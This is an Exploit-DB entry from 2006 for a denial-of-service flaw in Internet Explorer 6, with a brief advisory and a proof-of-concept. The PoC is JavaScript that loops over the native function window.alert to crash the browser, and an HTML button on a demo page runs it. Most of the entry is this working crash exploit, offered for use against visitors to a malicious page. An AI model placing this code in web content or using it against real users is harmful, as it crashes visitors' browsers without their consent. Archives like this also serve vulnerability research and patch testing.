Microsoft Internet Explorer 6 - Native Function Iterator Denial of Service

EDB-ID:

28265


Author:

hdm

Type:

dos


Platform:

Windows

Date:

2006-07-24


source: https://www.securityfocus.com/bid/19140/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

function Demo() {
	// Iterate through any native function reference to crash
	for (var i in window.alert) { var a = 1; }
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>